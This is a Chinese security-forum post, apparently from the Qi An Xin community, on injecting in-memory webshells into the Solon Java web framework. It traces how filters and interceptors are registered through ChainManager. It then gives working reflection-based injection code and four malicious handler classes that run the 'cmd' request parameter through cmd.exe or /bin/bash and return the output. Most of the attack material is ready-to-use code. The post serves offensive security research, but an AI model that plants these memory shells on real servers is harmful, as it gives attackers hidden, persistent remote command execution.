奇安信攻防社区-Solon框架注入内存马

Solon框架注入内存马

Solon是Java “新的”应用开发框架，类似Spring boot ，号称Java “纯血国产”应用开发框架

Solon框架注入内存马
============

Solon简介
-------

Solon是Java “新的”应用开发框架，类似Spring boot ，号称Java “纯血国产”应用开发框架

[Github地址](https://github.com/opensolon/solon)

[官网](https://solon.noear.org/)

架构图：

![solon_schema.png](https://github.com/opensolon/solon/blob/main/solon_schema.png?raw=true)

请求处理过程
------

![img](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/08/attach-96cc79200c4bc2746844c9c24ad04105a550a07f.jpeg%3Bcharset%3Dutf-8)

Web处理会经过四个路段：过滤器（Filter）-&gt;路由拦截器(RouterInterceptor)-&gt;处理器(Handler)-&gt;拦截器(Interceptor)

Filter内存马
---------

去官方下载了个[demo](https://solon.noear.org/start/)

根据[官方文档web开发部分](https://solon.noear.org/article/206)编写了个简单的Filter

```java
@Component(index = 0) //index 为顺序位（不加，则默认为0）  
public class FilterDemo implements Filter {  
    @Override  
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {  
        System.out.println(ctx.path());  //输出当前访问路径  
        chain.doFilter(ctx);  
    }  
}
```

在System.out.println(ctx.path());下断点，查看这个Filter是如何被添加的

首先查看第一个被调用的doFilter（org.noear.solon.core.ChainManager）

![image-20240810193642799](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/08/attach-ac2d08c3b626c326571d53207532ca62edd97d70.png)

![image-20240810193741350](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/08/attach-0ee712bc6fb50abc4f7dc62a09ab543880e8debc.png)

这第一个doFilter的作用是构建filter链，this.filterNodes里面的几个filter中，已经存在了前面编写的`FilterDemo`

往前看看FilterDemo是怎样被添加到this.filterNodes里的

在addFilter和addFilterIfAbsent方法里添加

![image-20240810195058866](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/08/attach-9d611de8560c46433e51682e781f0c4253c4345e.png)

![image-20240810195234212](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/08/attach-46ada8b8476149a766484c9f0aea2007e4f7c30d.png)

接下来是找哪里调用这个addFilter或者addFilterIfAbsent

来到org.noear.solon.SolonApp的tryHandle方法

![image-20240810194758282](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/08/attach-ccb1e9c5a9b11e2dd5ae62398e524ce9873a1fc8.png)

跟进this.chainManager()来到org.noear.solon.core.route.RouterWrapper

![image-20240810195953153](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/08/attach-7c8989a32a7346486cbce0ed68a4870079207cf0.png)

这个this.\_chainManager是ChainManager对象，往前看可以看到addFilter()

![image-20240810200210499](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/08/attach-52a2be392118ff8cd43c644681cbd5c0507a32c3.png)

到这里，可以清晰的知道，如果能通过上下文获取到`_chainManager`这个field，就能够添加任意的Filter了

下一步就是想办法获取到`_chainManager`这个field，这里借助了工具[Java Object Searcher](https://github.com/c0ny1/java-object-searcher)

编写代码搜索目标对象

```java
List<Keyword> keys = new ArrayList<>();  
keys.add(new Keyword.Builder().setField_type("_chainManager").build());  
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);  
searcher.setIs_debug(true);  
searcher.setMax_search_depth(20);  
searcher.setReport_save_path("C:\\Users\\XXX\\Desktop\\demo");  
searcher.searchObject();
```

搜索结果：

```java
TargetObject = {java.lang.Thread}   
  ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}   
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}   
    ---> [13] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}   
     ---> value = {org.noear.solon.boot.smarthttp.http.SmHttpContext}   
      ---> _request = {org.smartboot.http.server.impl.HttpRequestImpl}   
       ---> request = {org.smartboot.http.server.impl.Request}   
         ---> serverHandler = {org.noear.solon.boot.smarthttp.http.SmHttpContextHandler}   
          ---> handler = {org.noear.solon.boot.smarthttp.XPluginImp$$Lambda$97/1745043985}   
           ---> arg$1 = {org.noear.solon.SolonApp}   
             ---> _chainManager = {org.noear.solon.core.ChainManager}
```

其中`value = {org.noear.solon.boot.smarthttp.http.SmHttpContext}`是当前的上下文

![image-20240810201632619](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/08/attach-817a3aa311af00449edb39481de106adee24c630.png)

在查询[官方文档](https://solon.noear.org/article/216)的过程中，可以得到几种获取当前上下文的方法,其中`Context ctx = Context.current();`是最合适的，它是基于 ThreadLocal 实现的

综上，得到注入Filter内存马的实现代码：

```php
Context ctx = Context.current();  
Object _request = getfieldobj(ctx,"_request");  
Object request = getfieldobj(_request,"request");  
Object serverHandler = getfieldobj(request,"serverHandler");  
Object handler = getfieldobj(serverHandler,"handler");  
Object arg$1 = getfieldobj(handler,"arg$1");  
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");  
_chainManager.addFilter(new Memshellclass(),0);
```

其中`refgetFileobj`方法如下：

```java
public Object getfieldobj(Object obj, String Filename) throws NoSuchFieldException, IllegalAccessException {  
    try{  
        Field field = obj.getClass().getDeclaredField(Filename);  
        field.setAccessible(true);  
        Object fieldobj = field.get(obj);  
        return fieldobj;  
    }catch (NoSuchFieldException e) {  
        Field field = obj.getClass().getSuperclass().getDeclaredField(Filename);  
        field.setAccessible(true);  
        Object fieldobj = field.get(obj);  
        return fieldobj;  
    }    
}
```

恶意Filter:

```java
public class Memshellclass implements Filter{  
    @Override  
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {  
        try{  
            if(ctx.param("cmd")!=null){  
                String str = ctx.param("cmd");  
                try{  
                    String[] cmds =  
                            System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",  
                                    "/c", str} : new String[]{"/bin/bash", "-c", str};  
                    String output = (new java.util.Scanner((new  
                            ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();  
                    ctx.output(output);  
                }catch (Exception e) {  
                    e.printStackTrace();  
                }  
            }  
        }catch (Throwable e){  
            ctx.output(e.getMessage());  
        }  
        chain.doFilter(ctx);  
    }  
}
```

RouterInterceptor内存马
--------------------

RouterInterceptor内存马和Filter内存马差不多，其实在上面的initRouter方法已经发现了`addInterceptor`方法调用了

![image-20240810212454987](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/08/attach-fa50c84eaae224a036b97498bbd1c7769520edd6.png)

只需要把`_chainManager.addFilter`修改为`addInterceptor`即可

```java
Context ctx = Context.current();  
Object _request = getfieldobj(ctx,"_request");  
Object request = getfieldobj(_request,"request");  
Object serverHandler = getfieldobj(request,"serverHandler");  
Object handler = getfieldobj(serverHandler,"handler");  
Object arg$1 = getfieldobj(handler,"arg$1");  
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");  
_chainManager.addInterceptor(new RouterInterceptormemshell(),0);
```

其中恶意RouterInterceptor

```java
public class RouterInterceptormemshell implements RouterInterceptor{  
        @Override  
        public PathRule pathPatterns() {  
            return new PathRule().include("/hello"); //限定路径，可以为return null;即作用于全路径  
        }  
        @Override  
        public void doIntercept(Context ctx, Handler mainHandler, RouterInterceptorChain chain) throws Throwable {  
            try{  
                if(ctx.param("cmd")!=null){  
                    String str = ctx.param("cmd");  
                    try{  
                        String[] cmds =  
                                System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",  
                                        "/c", str} : new String[]{"/bin/bash", "-c", str};  
                        String output = (new java.util.Scanner((new  
                                ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();  
                        ctx.output(output);  
                    }catch (Exception e) {  
                        e.printStackTrace();  
                    }  
                }  
            }catch (Throwable e){  
                ctx.output(e.getMessage());  
            }  
            chain.doIntercept(ctx, mainHandler);  
        }  
    }  
  
}
```

ActionExecuteHandler内存马
-----------------------

还是ChainManager这个类添加,下面的ActionReturnHandler内存马也一样

![image-20240810223645215](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/08/attach-0993d17d1f8afcf737efa32d1d540303dbab2966.png)

```java
Context ctx = Context.current();  
Object _request = getfieldobj(ctx,"_request");  
Object request = getfieldobj(_request,"request");  
Object serverHandler = getfieldobj(request,"serverHandler");  
Object handler = getfieldobj(serverHandler,"handler");  
Object arg$1 = getfieldobj(handler,"arg$1");  
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");  
_chainManager.addExecuteHandler(new ActionExecuteHandlermemshell());
```

恶意ActionExecuteHandler：

```php
public class ActionExecuteHandlermemshell implements ActionExecuteHandler{  
    @Override  
    public boolean matched(Context ctx, String contentType) {  
        try{  
            if(ctx.param("cmd")!=null){  
                String str = ctx.param("cmd");  
                try{  
                    String[] cmds =  
                            System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",  
                                    "/c", str} : new String[]{"/bin/bash", "-c", str};  
                    String output = (new java.util.Scanner((new  
                            ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();  
                    ctx.output(output);  
                }catch (Exception e) {  
                    e.printStackTrace();  
                }  
            }  
        }catch (Throwable e){  
            ctx.output(e.getMessage());  
        }  
        return false;  
    }  
    @Override  
    public Object[] resolveArguments(Context ctx, Object target, MethodWrap mWrap) throws Throwable {  
        return new Object[0];  
    }  
    @Override  
    public Object executeHandle(Context ctx, Object target, MethodWrap mWrap) throws Throwable {  
        return null;  
    }  
}
```

ActionReturnHandler内存马
----------------------

```java
Context ctx = Context.current();  
Object _request = getfieldobj(ctx,"_request");  
Object request = getfieldobj(_request,"request");  
Object serverHandler = getfieldobj(request,"serverHandler");  
Object handler = getfieldobj(serverHandler,"handler");  
Object arg$1 = getfieldobj(handler,"arg$1");  
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");  
_chainManager.addReturnHandler(new ActionReturnHandlermemshell());
```

恶意ActionReturnHandler：

```java
public class ActionReturnHandlermemshell implements ActionReturnHandler{  
    @Override  
    public boolean matched(Class<?> returnType) {  
        return true; //为true时才回让returnHandle处理  
    }  
    @Override  
    public void returnHandle(Context ctx, Action action, Object returnValue) throws Throwable {  
        try{  
            if(ctx.param("cmd")!=null){  
                String str = ctx.param("cmd");  
                try{  
                    String[] cmds =  
                            System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",  
                                    "/c", str} : new String[]{"/bin/bash", "-c", str};  
                    String output = (new java.util.Scanner((new  
                            ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();  
                    ctx.output(output);  
                }catch (Exception e) {  
                    e.printStackTrace();  
                }  
            }  
        }catch (Throwable e){  
            ctx.output(e.getMessage());  
        }  
    }  
}
```

思考
--

如果没有理解错的话，按照请求处理流程图，应该还有个Interceptor内存马或者Handler内存马。很菜，没有示例代码，不能调试分析

官方文档说，支持传统的WebServlet、WebFilter 和jsp，这应该也可以做内存马

参考
--

<https://solon.noear.org/article/learn-solon-web>

[https://wx.zsxq.com/dweb2/index/topic\_detail/8855182518512112](https://wx.zsxq.com/dweb2/index/topic_detail/8855182518512112)

发表于 2024-09-05 09:00:01
阅读 ( 3265 )
分类：WEB安全

Solon框架注入内存马

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